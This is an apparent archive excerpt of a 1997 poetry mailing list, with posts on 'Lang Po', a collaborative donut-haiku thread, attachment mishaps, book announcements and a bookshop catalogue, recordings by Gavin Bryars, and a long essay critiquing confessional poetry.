> *I have a question, as well. What does "Lang Po" stand for? I'm sorry for ignorance which I know, for I have my own miniscule area of expertise, will make me appear poignantly ridiculous. Oh, I take that back. I have no area of expertise.*
>
> *Lang Po is the second cousin twice removed of Li Po.*

And also grandnephew of Edgar Allan Po.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

633. **Stephen C. Ellwood**
Re: abstract personal
Sun 22 Jun 1997

Thanks everyone for illuminating me as to "Lang po". Just to let you know, I'm Emily Vey Duke, not Stephen Ellwood. I'm just using his e-mail account.

Take Care,
EVD

↑ Index

634. **Pam Brown**
Re: address please
Sun 22 Jun 1997

Thanks Wystan -
I need to contact Jill about a videotape (what else ?).
Also - the article I wrote about the NZ anthology (the recent Oxford one) will be published in the Spring issue of "Overland" - I quoted a few lines from your "Cancer Daybook" poem - briefly...and, really, the article became more something about Magazines versus Anthologies in the end. If you'd like

to see it I'll send a copy of the magazine...in Spring...then I'd need your postal address as well.
Thanks again,
Pam Brown

At 01:03 PM 23/6/97 +1200, you wrote:
>Dear Pam,
> I saw Jill almost exactly a year ago in Amsterdam. Then
>she was on a fellowship at ZKM,(address: postfach 6909, Karlsruhe
>76049, Germany.) I have a feeling she was not going to be there much
>longer but you might try ZKM. I recall us exchanging cards, so I'll
>see if I can find hers.
> best wishes
> Wystan
>
>

↑ Index

635. **Wystan Curnow**
Re: address please
Sun 22 Jun 1997

Dear Pam,
  I saw Jill almost exactly a year ago in Amsterdam. Then
she was on a fellowship at ZKM,(address: postfach 6909, Karlsruhe
76049, Germany.) I have a feeling she was not going to be there much
longer but you might try ZKM. I recall us exchanging cards, so I'll
see if I can find hers.
  best wishes
  Wystan

↑ Index

636. **main**
address: karen kelley
Sun 22 Jun 1997

---

please backchannel.
thanks,
dan featherston

↑ Index

637. **Alan * Sondheim**
new work (fwd)
Sun 22 Jun 1997

There is new work at the Mirror site below (in Canberra); please check it out.

When I am online using my linux operating system, you can access an additional experimental webpage suite at EXPERIMENTAL below.

Please note - Alan

URL: http://jefferson.village.virginia.edu/~spoons/internet_txt.html MIRROR with other pages at: http://www.anu.edu.au/english/internet_txt IMAGES: http://www.cs.unca.edu/~davidson/pix/ TEL [redacted] EXPERIMENTAL (on and off): http://166.84.250.149 Editor, BEING ON LINE

↑ Index

638. **Pam Brown**
oops
Sun 22 Jun 1997

Oops - I meant to send that message to Wystan not to the entire list.
Sorry
Pam

↑ Index

639. **Pete Landers**
Re: Happy Genius?
Sun 22 Jun 1997

On Tue, 17 Jun 1997,
Fred Muratori wrote:

> *Anyone know what ever happened to _Happy Genius_, a lit mag that was to feature work by some folks on this list?*

Fred,

You might have lost my email address, or perhaps I moved since we last traded mail. Email me at [redacted] or snail mail me at

Pete Landers
34 Rose Circle
Hamlin, NY 14464

I originally hoped to make two or three mags a year, but now it appears that publication will be irregular. It will eventually come out. I hope for good news

soon. The content is really good, and I will be very glad to see it finally take on paper form. There are some people from the list in it, but there's quite a bit more than that. You'll see. Soon, I hope.

Pete

↑ Index

640. **David R. Israel**
Re: haiku-gram
Mon 23 Jun 1997

[d.i.]:

> *forget the spam-po*
> *what I'd really like to see*
> *is donut haiku*
>
> *buttermilk sugar*
> *they knead me & they fry me*
> *none taste the center*

[Steven Marks]:

> *the center holds holes*
> *something to nibble around*
> *no mess on my hands*

without the coffee
a donut is not done here
darkness to imbibe

d.i.

↑ Index

641. **David R. Israel**
Buddhistic poetics . . .
Mon 23 Jun 1997

--Message-Boundary-12549
Content-description: Information about this message.

This message contains a file prepared for transmission using the MIME BASE64 transfer encoding scheme. If you are using Pegasus Mail or another MIME-compliant system, you should be able to extract it from within your mailer. If you cannot, please ask your system administrator for help.

---- File information -----------
File: 062297-buddhist-post
Date: 23 Jun 1997, 0:34

Size: 8683 bytes.
Type: Unknown

--Message-Boundary-12549

--Message-Boundary-12549--

↑ Index

642. **David R. Israel**
Buddhistic poetics . . .
Mon 23 Jun 1997

[Mon June 23, early a.m.]

Poetas & poeticos,

Have on a few, rare occasions encountered phenomenon of a post that just won't post. Kent Johnson sent me one such, and I tried posting it yesterday on his behalf (along w/ my gratuitous verbose argumentative tangential introduction) -- to no effect; it (like its predecessors from his machine) was promptly lost in space.

However, not to be outwitted by the mysteries of some presumed hidden STOP code, I'm washing this thru the wringer of ASCII conversion via word processing software, and will then sail the new-pressed moiety into (one hopes) a receptive cyberspace. I'm tacking it on as an attachment [in ASCII DOS text, hopefully readable!] (re-inserting into an email msg. doesn't suffice to solve the fade phenomenon).

Okay, let's see if this boat can float!

d.i.

↑ Index

643. **David R. Israel**
(Fwd) Buddhistic poetics / take two (or ...)
Mon 23 Jun 1997

--Message-Boundary-8574
Content-description: Information about this message.

This message contains a file prepared for transmission using the MIME BASE64 transfer encoding scheme. If you are using Pegasus Mail or another MIME-compliant system, you should be able to extract it from within your mailer. If you cannot, please ask your system administrator for help.

---- File information -----------
File: 062297-buddhist-post

Date: 23 Jun 1997, 0:56
Size: 9324 bytes.
Type: WordPerfect

--Message-Boundary-8574

--Message-Boundary-8574--

↑ Index

644. David R. Israel
(Fwd) Buddhistic poetics / take two (or ...)
Mon 23 Jun 1997

Here's another try at forwarding this mystery post -- the earlier attachment (in ASCII / DOS) may be hard to read; this one is attached as a WordPerfect file . . . (after this, I give up, or throw the ball back into Kent's court . . .)

cheers,
d.i.

↑ Index

645. Steven Marks
Re: haiku-gram
Mon 23 Jun 1997

[d.i.]:

> *forget the spam-po*
> *what I'd really like to see*
> *is donut haiku*
>
> *buttermilk sugar*
> *they knead me & they fry me*
> *none taste the center*

[Steven Marks]:

> *the center holds holes*
> *something to nibble around*
> *no mess on my hands*

[David Israel]

without the coffee
a donut is not done here
darkness to imbibe

[s.m.]

nut to do but dough
coffee from a hell of beans
my do-dough dissolves

y'all should join in

↑ Index

646. lee ann brown
Re: Donuts/Livermush cont'd
Mon 23 Jun 1997

Charlotte Food Haiku

Krispy Kreme donuts
are the only ones for me
Light, flaky, glazed, yum.

Inhale them one by
one - Do the dozens out back,
midnight parking lot.

Livermush, also
known as Scrapple. Slice it and
Fry it up for me.

Black and crusty is
how my Diddy likes it- He's
afraid cuz it's pork.

↑ Index

647. Daniel Zimmerman
Re: Cummings, Syllables, Nemes....
Mon 23 Jun 1997

This is a multi-part message in MIME format.

Bob Grumman wrote:
>
> Dan--good to find out I'm not the only nuts-and-bolts freak out there.
> I hope others join us. Meanwhile, I'd be interested in seeing an
> example of Capt. -Neme-O's lists. you got any lying around?
>
> Best, Bob
>
> P.S., a couple of coincidences: I live in Port Charlotte, Florida, which
> is 25 miles or so from Fort Myers, which is kinda Edison South. Also,

> one of my other wacked out hobbies is the Shakespeare Authorship
> Controversy (I'm one of the boring traditionalists there); I bring that
> up because I was just writing about an anagram in some 17th-century work
> that's supposed to indicated that Lord Oxford wrote Shakespeare's
> works. So I've been fooling around with anagrams myself.

Hi, Bob.

I tried to send this attachment yesterday, but it wouldn't attach, so I'll try again.

I apologize for the length of the post, but as you'll see, it probably couldn't have worked any shorter.

Dan Zimmerman

----------38481D2581B--

↑ Index

648. KENT JOHNSON
post mystique
Mon 23 Jun 1997

My public thanks to David Israel for his unflagging and heroic efforts in getting my little post about the Beneath a Single Moon "controversy" (not here but at CAP-L) onto the list. When I asked David to help me out, I never imagined it would cause him so much trouble, and my apologies if the space taken up was disproportionate.

For those who might be interested in the issue, a recent development is a post (from an "abd" doctoral student in East Asian Languages at University of Chicago) in which every editor and poet involved in the anthology is accused of being a racist through and through and of only being capable of comprehending a "candy-Buddhism" that is designed to culturally expropriate Asian Americans. (I'm trying to be fair and accurate.)

This only goes to further prove that people from Chicago don't hesitate to tell you exactly what they think.

I'm going to be vacationing in distant parts for all of July starting next week, so a good rest of the summer to all.

Kent

↑ Index

649. **David R. Israel**
Re: haiku-gram
Mon 23 Jun 1997

> *[d.i.]:*
>
> *forget the spam-po*
> *what I'd really like to see*
> *is donut haiku*
>
> *buttermilk sugar*
> *they knead me & they fry me*
> *none taste the center*
>
> *[Steven Marks]:*
>
> *the center holds holes*
> *something to nibble around*
> *no mess on my hands*
>
> *[d.i.]:*
>
> *without the coffee*
> *a donut is not done here*
> *darkness to imbibe*
>
> *[s.m.]:*
>
> *nut to do but dough*
> *coffee from a hell of beans*
> *my do-dough dissolves*

[d.i.]:

nonesistence hides
in the very word donut
nut signifies naught

> *y'all should join in*

↑ Index

650. **LYNES- KATHERINE**
Re: y'all join in
Mon 23 Jun 1997

> *[d.i.]:*

> *forget the spam-po*
> *what I'd really like to see*
> *is donut haiku*
>
> *buttermilk sugar*
> *they knead me & they fry me*
> *none taste the center*
>
> *[Steven Marks]:*
>
> *the center holds holes*
> *something to nibble around*
> *no mess on my hands*
>
> *[David Israel]*
>
> *without the coffee*
> *a donut is not done here*
> *darkness to imbibe*
>
> *[s.m.]*
>
> *nut to do but dough*
> *coffee from a hell of beans*
> *my do-dough dissolves*
>
> *y'all should join in*

okay...

yellow innards splooch
bavarian dive bomber
cannot hold center

katherine.

↑ Index

651. David R. Israel
also Re: haiku-gram
Mon 23 Jun 1997

---

adding another:

> *[d.i.]:*
>
> *forget the spam-po*
> *what I'd really like to see*
> *is donut haiku*

> *buttermilk sugar*
> *they knead me & they fry me*
> *none taste the center*
>
> *[Steven Marks]:*
>
> *the center holds holes*
> *something to nibble around*
> *no mess on my hands*
>
> *[d.i.]:*
>
> *without the coffee*
> *a donut is not done here*
> *darkness to imbibe*
>
> *[s.m.]:*
>
> *nut to do but dough*
> *coffee from a hell of beans*
> *my do-dough dissolves*

[d.i.]:

nonesistence hides
in the very word donut
nut signifies naught

and what about do?
do of course signifies dough
a dough-naught for you!

> *y'all should join in*

↑ Index

652. **Hank Lazer**
Re: XCP
Mon 23 Jun 1997

Oops. Apologies--my e-mail on XCP should have gone to Yunte, not to Poetics List....

Hank Lazer

↑ Index

653. **F.A. Templeton**
ad Fiona Templeton
Mon 23 Jun 1997

---

new from ROOF BOOKS Contact James Sherry
[redacted]

* CELLS OF RELEASE * fax 00[redacted]
by Fiona Templeton tel 00[redacted]

a document of the poetry installation at the abandoned panopticon Eastern State Penitentiary, Philadelphia, written onsite on continuous paper, one cell per day, woven throughout the cells

With photographs and notes.
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(limited offer as above to include postage and handling)
.....

I enclose ___ x $13.95 for Cells of Release

___ x $11.95 for YOU--The City

Name_____

Address_____

↑ Index

654. **Burt Kimmelman**
poetry new york #9
Mon 23 Jun 1997

The new issue of Poetry New York has finally arrived from the printer and has been sent to our distributor so it will be in the stores soon. I am in the last leg

of teaching summer school, and so I will be sending contributors' copies out in a week or so when I can catch my breath.

Tod Thilleman and I are most grateful to all of the contributors (large handful read this List) for their patience.

I imagine Tod will be preparing a formal announcement about the issue soon.

Burt

↑ Index

655. Jordan Davis
Tournament at the Electronic Country Club
Mon 23 Jun 1997

There's a great line in Steve Evans' Impercipient Lecture Series essay -- he characterizes the 80s as such a wild time that Baudrillard could be received as a great thinker.

Anybody pick up the new UMn History of Structuralism? I was hot to buy it till I saw the chapter heading "Foucault sells like hotcakes". I like candy, but ...

What are the rules of this club we're in?

Jordan

↑ Index

656. David R. Israel
& also Re: haiku-gram
Mon 23 Jun 1997

Thanks, Katherine, for adding a haiku to the donut garland. Your post & mine crossed in the mail, so I've here sandwiched your 'ku inbetween those 2 of mine -- hope others have more dough to add to this nutsness.

d.i.

[d.i.]:

forget the spam-po
what I'd really like to see
is donut haiku

buttermilk sugar
they knead me & they fry me
none taste the center

[Steven Marks]:

the center holds holes
something to nibble around
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without the coffee
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[d.i.]:

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[Katherine Lynes]:

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bavarian dive bomber
cannot hold center

[d.i.]:

and what about do?
do of course signifies dough
a dough-naught for you!

> *y'all should join in*

↑ Index

657. Steven Marks
Re: Tournament at the Electronic Country Club
Mon 23 Jun 1997

>
> What are the rules of this club we're in?
>
> Jordan
>
I wouldn't want to be a member of a club that would let me in.

Steven (Groucho) Marks(x)

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

658. **Wendy Battin**
info on Bryars?
Mon 23 Jun 1997

Anyone familiar with the work of Gavin Bryars? Just heard an extraordinary piece called _Jesus' Blood Never Failed Me Yet_ (thanks Forrest) and wonder what to hunt for next.

Wendy

---------- Wendy Battin
http://www.geocities.com/SoHo/Lofts/5471/ashland.html

↑ Index

659. **Herb Levy**
Attachments
Mon 23 Jun 1997

Uh, I understand the frustration someone might feel not being able to get through to the list or with how ASCII reconfigures texts, but sending e-mail attachments to more than 500 people on an e-mail discussion list is not a good idea.

These don't always come through legibly, especially for those of us who receive the list in digest form.

Herb Levy
[redacted]

↑ Index

660. **Daniel Tessitore**
Re: identity of the poet
Mon 23 Jun 1997

HG wrote:

What I thought Kali was saying was that where a writer's coming from matters in the same way that it just helps to know that Mick Jagger didn't grow up in the Alabama fields inventing Robert Johnson tunes. [warning: we already had the Stones discussion. no further comments allowed. - Blarnes] - HG _____

How is knowing where a writer comes from the same as knowing where he or she DOESN'T come from? DT

↑ Index

661. **Aldon L. Nielsen**
Re: retoot
Mon 23 Jun 1997

C.L.R. James: A Critical Introduction, by Aldon Nielsen, is available at a discount (why wait for remainders?) from the C.L.R. james Institute in New York -- if interested in getting a copy from them, email Jim Murray at

[redacted]

They also have several publications by James (including discounted copies of the correspondence James sent to Constance Webb) --

---------- on another front, I have been contacted by a freind who is organizing a speaking trip by Richard Wright's Widow, Ellen, to the U.S. SOON -- if anybody out there is interested in organizing a speaking date (and has a few $$ to do so) let me know --

"friend" for "freind" etc --

↑ Index

662. **Daniel Zimmerman**
attachments
Mon 23 Jun 1997

Sorry I sent an attachment with a recent post to Bob G. Didn't realize the taboo.
Dan Zimmerman

↑ Index

663. **Gwyn McVay**
Re: attachments
Mon 23 Jun 1997

Living in the world yet not forming attachments is the way of a true student.

Zengetsu
T'ang dynasty

↑ Index

664. aerialedge
New Berrigan, Davis,Templeton &&& @ Bridge Street
Mon 23 Jun 1997

Lots new & good. Ordering instructions at the end of the post. Thanks poetics for your support.

1. _The Mooring of Starting Out: The First Five Books of Poetry_, John Ashbery, Ecco, $25 cl. Collects _Some Trees_, _The Tennis Court Oath_, _Rivers and Mountains_, _The Double Dream of Spring_, and _Three Poems_. Not bad.

2. _On the Level Everyday: Selected Talks on Poetry and the Art of Living_, Ted Berrigan, ed. w/ intro by Joel Lewis, preface by Alice Notley, Talisman House, $12.50. "So if you start a poem and you put some of it here, and you want to put the next part of it there, because you have a third part which you're going to put over here, because when you do it'll look beautiful and be gorgeous, and it will also be right, that's as good a reason as one can ever come up with. There's nothing wrong with beauty: although it isn't necessarily better than ugliness. As William Saroyan says, 'It's no help, but it's a good thing.' Thank you."

3. _The Psychic Life of Power: Theories in Subjection_, Judith Butler, Stanford, $15.95. Via Hegel, Nietzsche, Freud, Foucault, and Althusser, Butler tracks the figure of a psyche that "turns against itself" and seeks to theorize the ambivalent relationship between the social and the psychic.

4. _Upstairs_, Jordan Davis, Barque Books, $5.Includes the hits "Chippewa Mishegas," "Layla Playland," "Flub Grid," "Uncle, I'm Cold," and "Tutor Me Sunlight."

5. _The Politics of Truth_, Michel Foucault, Autonomedia, $8. "Critique is the movement by which the subject gives itself the right to question truth on its effects of power and to question power on its discourses of truth. . . . in a word, the politics of truth."

6. _The Semblance of Subjectivity: Essays in Adorno's Aesthetic Theory_, ed. Tom Huhn and Lambert Zuidervaart, MIT, $35 cl. Contributors: Martin Jay, Shiery Weber Nicholsen, Richard Wolin, Rolf Tiederman, Rudiger Bubner, J. M. Bernstein, Heinz Paetzgold, Gregg M. Horowitz, Sabine Wilke, Heidi Schlipphacke, and the editors.

7. _Forms of Expansion: Recent Long Poems by Women_, Lynn Keller, U Chicago, $16.95. Chapters on DuPlessis & Dahlen, S. Howe, Hacker, Dove &

Osbey, Grahn, and Doubiago. "_Forms of Expansion_ is a fascinating and necessary book for anyone interested in postmodern poetics. . . . Her ability to discern common patterns within divergent poetics is a singular and brilliant strength." --Alice Fulton

8. _Retreating the Political_, Phillippe Lacoue-Labarthe and Jean-Luc Nancy, Routledge, $18.95. "If, today, everything is political, how can we re-treat the political on the basis of its retreat from any specificity whatsoever?"

9. _Hambone 13_, ed. Nathaniel Mackey, $10. Lisa Cooper, Lyn Hejinian, Hank Lazer, Martha Ronk, Chris Tysh, John Yau, Kevin Young, David Marriott, Araya Asgedom, Will Alexander, Connie Deanovich, Phillip Foss, Clayton Eshleman, Joseph Donahue, Michael Boughn, Skip Fox, Ted Pearson, Charles Stein, Paul Naylor, Julio Cortazar, Larry Price, Norman Finkelstein, John Taggart, Maria Damon, A.L.Nielsen, Benjamin Hollander.

10. _C. L. R. James: A Critical Introduction_, A. L. Nielsen, U. Mississippi, $18. "C.L.R. James was a historian who was given to exploring the political significance of the Cuban Revolution by means of an exegis of the surrealist poetry of Aime Cesaire. While Discoursing on the development of the literary imaginationin the United States, he was likely to focus on the political polemics of a small band of Abolitionists. When advancing his arguments for the independence of the West Indies from colonial rule he turned to talk of calypso singers and novelists. Writing a column on the sport of cricket, James naturally found himself writing about James Baldwin, William Wordsworth, and Willie Mays. . . . Evidently experience had never taught James that being interdisciplinary is so very hard to do."

11. _Cells of Release_, Fiona Templeton, Roof, $13.95. A document of the poetry installation at the abandoned panopticon Eastern State Penetentiary written on continuous paper over six weeks at the cite with photos and descriptive material. "as the child turning in the cupboard/from dumbed blows turning/as the bird makes the nest/pushing out with its breast/turning/beside myself/curling to the wind/rolling to the wall/releasing room/for you"

12. _Complete Short Poetry_, Louis Zukofsky, Johns Hopkins, $19.95. New in paperback.

& a few of poetics kinda bestsellas currently in stock. Asterick indicates signed copies available:
Aesthetic Theory, Theodor W. Adorno, $39.95 cl.
Paradise & Method: Poetics & Praxis, Bruce Andrews, $19.95.
Onward: Contemporary Poetry & Poetics, ed. Peter Baker, $29.95.
Drafts 15-XXX: The Fold, Rachel Blau DuPlessis, $12.*
The Cold of Poetry, Lyn Hejinian, $12.95.*
Some Other Kind of Mission, Lisa Jarnot, $11.

Imagination Verses, Jennifer Moxley, $8.95.
The Marginalization of Poetry: Language Writing and Literary History, Bob Perelman, $15.95.
Wittgenstein's Ladder: Poetic Language and the Strangeness of the Ordinary, Marjorie Perloff, $27.95.
In Memory of My Theories, Rod Smith, $9.*
Reponse, Juliana Spahr, $10.95.*
Sonnets of a Penny-a-Liner, Mark Wallace, $9.*
Frame (1971-1991), Barrett Watten, $13.95.

Poetics folks receive free shipping on orders of more than $20. Free shipping + 10% discount on orders of more than $30. There are two ways to order. 1. E-mail your order to [redacted] with your address & we will bill you with the books. or 2. via credit card-- you may call us at [redacted] or e-mail [redacted] w/ yr add, order, & card # & we will send a receipt with the books. We must charge some shipping for orders out of the US.

Bridge Street Books, 2814 Pennsylvania Ave NW, Wahsington, DC 20007.

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665. **michael corbin**
Re: Tournament at the Electronic Country Club
Mon 23 Jun 1997

Jordan Davis wrote:
>
> There's a great line in Steve Evans' Impercipient Lecture Series essay --
> he characterizes the 80s as such a wild time that Baudrillard could be
> received as a great thinker.

Or perhaps that fencing off of something called "the 80s", *that* contained dissipation, contained here in the creeping fin de millennium is mere succedaneum (a nostalgia of the present?) for this time's (is it the post-wild "90's"?), this moment's own deliquescence.

"In the wake of all that resurfaces, history backtracks on its own footsteps in a compulsive attempt at rehabilitation, as if in a recompense for some sort of crime I am not aware of - a crime committed by and in spite of us, a kind of crime done to oneself, the process of which is sped up in our contemporary phase of history and the sure signs of which today are global waste, universal repentance and resentment [ressentiment] - a crime where the lawsuit needs to be re-examined and where we have to be unrelenting to go back as far as the origins, if necessary, in quest of retrospective absolution since there is no resolution to our fate in the future. It is imperative that we find out what went wrong and at which moment and then begin examining the traces left on the

trail leading up to the present time, to turn over all the rocks of history, to revive the best and the worst in a vain attempt to separate the good from the bad." (Baudrillard, "Hystericizing the Millennium")

> *Anybody pick up the new UMn History of Structuralism? I was hot to buy it till I saw the chapter heading "Foucault sells like hotcakes". I like candy, but ...*

And the Theorists and the Theory are packaged and shelved neatly according to one's predilection of recieved greatness or thinkerness, circulating histories of need (a post-scarcity need, a 90s thing), and a passion for sweets and scapegoated confidence-persons. Thank bejesus poetree doesn't languish in such soiled historicity. If structuralism has a two-volume cenotaph it surely must be done. Whew. Just in time.

> *What are the rules of this club we're in?*

Like the hurricane forecasters watching depressions transform into larger whirl-wind beasts, the rules, if we can call them that, seem, well, blurry, despite our over-confidences in our instruments; no Angelus Novus obediently facing in one (backward) historical direction. Nope. Alas, all directions at once.

mc

↑ Index

666. **Herb Levy**
Re: info on Bryars?
Mon 23 Jun 1997

He's a British composer (now) working in what gets called a post-minimalist style, which in his case ends up being darkly moody, often pretty, melodic music. There's little else recorded that follows that slowly opening timbral format of Jesus' Blood, a fairly early work (the 1st, shorter, version of which is about 20 years old).

There's one other early work recorded, The Sinking of the Titanic, on the same label (Phil Glass's, I can't remember the name right now) as the CD of Jesus' Blood.

Bryars' more recent music can be heard on a couple of good CDs of chamber music on ECM (After the Requiem & Vita Nova), & a disc of string quartets & duos on Argo. Argo also has a recent CD with a cello concerto, a piece for percussion ensemble and something else I forget, which I haven't heard yet.

> *Anyone familiar with the work of Gavin Bryars? Just heard an extraordinary piece called _Jesus' Blood Never Failed Me Yet_ (thanks Forrest) and wonder what to hunt for next.*

> *Wendy*
>
> ---
> *Wendy Battin http://www.geocities.com/SoHo/Lofts/5471/ashland.html*
> ---

Herb Levy
[redacted]

↑ Index

667. **Keith Tuma**
Re: info on Bryars?
Mon 23 Jun 1997

Wendy--

You might be interested in John Taggart's notes on Bryars' "Jesus' Blood. . ." (and other matters, from Reich to Stevens to Scarry) in _Apex of the M_ 4. Called "Jesus' Blood: Notes & Overlays." 66-85.

--Keith

↑ Index

668. **Joseph Zitt**
Re: info on Bryars?
Mon 23 Jun 1997

Wendy Battin wrote:
>
> Anyone familiar with the work of Gavin Bryars? Just heard an
> extraordinary piece called _Jesus' Blood Never Failed Me Yet_ (thanks
> Forrest) and wonder what to hunt for next.

Bryars is a big name in new music circles ("new" not necessarily indicated when a piece was composed). He has a *lot* of stuff out. His other best known work is "The Sinking of the Titanic", which keeps expanding. The most recent version (I think) is on the Point Music label (who also did the recent version of JBNFMY. I'm eager to hear his new album (on ECM?) with Charlie Haden.

My favorite things of his were the albums he did on the Obscure label in the 70s: shorter versions of the above two pieces, and an opera, Irma, built from Tom Phillips's "A Humument". I don't know if it's been rereleased though.

There's more info on the Web at http://www.netpoint.be/abc/music/bryars/ and http://www.december.org/ among other places.

feep

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669. Eliza McGrand- CVA Guest

long article up for criticism if yr up for it!

Mon 23 Jun 1997

The Personal, the Political, and the Just Plain Awful

One problem with the current trend toward a "We Did It!" mode of criticism is its frequent inaccuracy. "We Did It"-style modern writers and critics often speak of the Confessional trend in poetry as if personal revalation in literature were unique to this era, as if the single most important and compelling aspect were that... "We Did It!"

But personal revelation in literature was in force long before, say, Sexton and Lowell. Consider the Biblic Psalms of David, or the Song of Solomon. Or, from the early sixteenth century, this luscious, deeply moving and extravagantly personal lyric by Thomas Wyatt:

INDENT

(Untitled)

"They fle from me that sometyme did me seke
With naked fote stalking in my chambre.
I have sene them gentle, tame, and meke,
That nowe are wyld and do not remembre
That sometyme they put theimself in daunger
to take bred at my hand; and nowe they raunge
besely seking with a continuell chaunge.

"Thancked be fortune, it hath ben othrewise
Twenty tymes better; but ons in speciall,
In thyn(1) arraye after a pleasaunt gyse,
When her lose gowne from her shoulders did fall,
And she me caught in her armes long and small(2);
Therewithall swetely did me kysse,
And softely saide, deare hert, howe like you this?

"It was no dreme: I lay brode waking.
But all is torned thorough my gentilnes
Into a straunge fasshion of forsaking;
And I have leve to go of her goodenes,
And she also to use new fangilnes.

But syns that I so kyndely ame served,
I would fain knowe what she hath deserved."

1. thyne: thin
2. small: narrow

END INDENT

There is a rich vein of the deeply personal in Wyatt's poems. In one sense, the value of this is historical; one gets a sudden glimpse into the bedchambers, manners, emotions over four hundred years ago. There is, however, a great deal more to the poems -- an ear for glorious phrasing, an astoundingly graceful and haunting word choice, a gift for the unexpected turn, the sudden flash of deep feeling -- that are almost the signature of a Wyatt poem.

What is meant by the "personal" here is a focus on a lived life, one with cracks, confusions, deep and often haunted glimpses into the writer's everyday.

One sees a line, a combination of the personal and exquisite artisan again and again in literature. For example, consider the work of John Donne, George Herbert, Richard Hart Lovelace, Christopher Smart, Anne Hutchinson, and Jane Taylor. But mid-nineteenth century, this vein seems to disappear. There is, of course, Coleridge, Wordsworth, Shelley, Barrett-Browning, Byron, Keats, Poe. But even when professing to be at their most personal, there is almost never a sense that the artist has taken her or his hand out of the breast pocket and stopped declaiming. A glimpse of that old style of blazing directness and clarity gleams from out of Longfellow's "Children's Hour," and in much of the work of Emily Dickinson, but it doesn't appear in force again till the early twentieth century.

Switch to the present day. As editors and writers, Jordanne and I are often given poems about the most private aspects of their writer's life. As poets, we find all sorts of personal moments making their way into our poems.

Does that make the writing good? Decidedly not.

I'm reminded of something a friend said about teaching Composition in college: "Right at the beginning of the course, I tell the students that while they might find themselves using personal material in the course, they may find it is too painful and uncomfortable to work with. And I also tell them that they do not automatically get a good grade when they put something personal in a text."

My main gripe at the moment is the flood of incest and molestation poems. They seem to generally start with an air of self-conscious daring, then move quickly to a fairly standard body of images, phrases, and plot twists, finishing

often with either righteousness or melodrama or both. Just to start, there is not very much that is daring, in a literary sense, about writing an incest poem; an enormous number of writers have done and are doing it even as we read (or write). Further, while a tone of "I'm saying something controversial, something I know people will argue with" is almost always present, really, who defends incest? I cannot think of a single instance, at this moment, of anyone saying they think incest is good, or should become a standard family practice. Thus the set-up fairly reeks of straw dummies.

Having said this, yes, I have written one. And one of my favorite poems in the world is a poem by Bruce Weigl on the subject, "The Impossible."

Certainly incest is terrible. So are war, pestilence, famine, domestic violence, child abuse, illness, the death of parents and loved ones, rape, and a million other things. But it will never be the case that it doesn't matter what one writes, if one just remembers to write about an Important Subject.

To put this in a slightly different context, I have an acquaintance, a Mediocre Poet par excellence. He has been writing mediocre poems for a quarter of a century -- poems with trite phrases, poems whose last stanza can be predicted from about the middle stanza on (and sometimes earlier). Typical example (not actual but representative):

> He rode in a frenzy
> over the mean streets,
> her words echoing in his head,
> her soft lips a memory.

One day, Mediocre Poet discovered a Subject: racism. Now I saw such oeuvres as:

> He rode his bike in a frenzy
> over the mean streets,
> the ugly words, "black bastard,
> nigger, boy" echoing in his head.

He would declaim these works passionately, glare in a sort of righteous froth if one did not immediately explode with praise -- "didn't we CARE about racism"? But that wasn't the point. Whether we cared about racism or not, they were mediocre poems, and he was asking me and his other listeners and readers to evaluate him as a writer, to put him in the context of writing. He wanted our praise as writers, praise for him as a writer, space in a magazine as a writer, but if we had any criticism of the writing, he ignored the writing to fixate on the subject.

A writer does not do a cause any favors if the writing is bad. More important to us as writers, it is in attention to details, to good writing, to finding the most accurate, clear truth -- a truth we know and care enough about to peel off our

public "self" and reach deeper to get at -- that our most "important" poems, and indeed, writing, lies.

Important poems may not always be about earth-shattering subjects. Maxine Kumin writes a poem about swimming, a simple poem about going to a college swimming pool and swimming in meter to "Abide With Me." But inside that simple, important poem is a shimmering, aqua, gentle voice telling me about habit, about roots, about the weary reality of constant travel. Inside that simple poem -- a deeply personal moment conveyed in a stripped-down, unself-glorifyng way -- Kumin takes one of the greatest risks a writer can take: she shows her honest self without an effort to impress us, to write herself into a herioc narrative.

The risk is the truth, the step back from "what will people think of me when they write this poem." The skill is a matter of seeing, and a matter of deeply honed technique.

A deeply felt but clumsy poem about incest by a modestly skilled writer may still be important to the writer, to the writer's family and friends. Given to me by someone close in a moment of sharing deeply personal matters with each other, such a poem might well be deeply moving. But -- and here is where our Mediocre Poet comes in -- sent to me in a literary context, that is, put up to evaluation in a literary context, it is what it is: a not well written piece of writing. And in that literary context, as an editor, as a public writer, I must evaluate the clumsy poem that way because it is my job to say when the emperor has no clothes.

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670. Eliza McGrand- CVA Guest

WHOOPS -- format-corrected copy

Mon 23 Jun 1997

The Personal, the Political, and the Just Plain Awful

One problem with the current trend toward a "We Did It!" mode of criticism is its frequent inaccuracy. "We Did It"-style modern writers and critics often speak of the Confessional trend in poetry as if personal revalation in literature were unique to this era, as if the single most important and compelling aspect were that... "We Did It!"

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INDENT

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I have sene them gentle, tame, and meke,
That nowe are wyld and do not remembre
That sometyme they put theimself in daunger
to take bred at my hand; and nowe they raunge
besely seking with a continuell chaunge.

"Thancked be fortune, it hath ben othrewise
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In thyn(1) arraye after a pleasaunt gyse,
When her lose gowne from her shoulders did fall,
And she me caught in her armes long and small(2);
Therewithall swetely did me kysse,
And softely saide, deare hert, howe like you this?

"It was no dreme: I lay brode waking.
But all is torned thorough my gentilnes
Into a straunge fasshion of forsaking;
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And she also to use new fangilnes.
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2. small: narrow

END INDENT

There is a rich vein of the deeply personal in Wyatt's poems. In one sense, the value of this is historical; one gets a sudden glimpse into the bedchambers, manners, emotions over four hundred years ago. There is, however, a great deal more to the poems -- an ear for glorious phrasing, an astoundingly graceful and haunting word choice, a gift for the unexpected turn, the sudden flash of deep feeling -- that are almost the signature of a Wyatt poem.

What is meant by the "personal" here is a focus on a lived life, one with cracks, confusions, deep and often haunted glimpses into the writer's everyday.

One sees a line, a combination of the personal and exquisite artisan again and again in literature. For example, consider the work of John Donne, George Herbert, Richard Hart Lovelace, Christopher Smart, Anne Hutchinson, and Jane Taylor. But mid-nineteenth century, this vein seems to disappear. There is, of course, Coleridge, Wordsworth, Shelley, Barrett-Browning, Byron, Keats, Poe. But even when professing to be at their most personal, there is almost never a sense that the artist has taken her or his hand out of the breast pocket and stopped declaiming. A glimpse of that old style of blazing directness and clarity gleams from out of Longfellow's "Children's Hour," and in much of the work of Emily Dickinson, but it doesn't appear in force again till the early twentieth century.

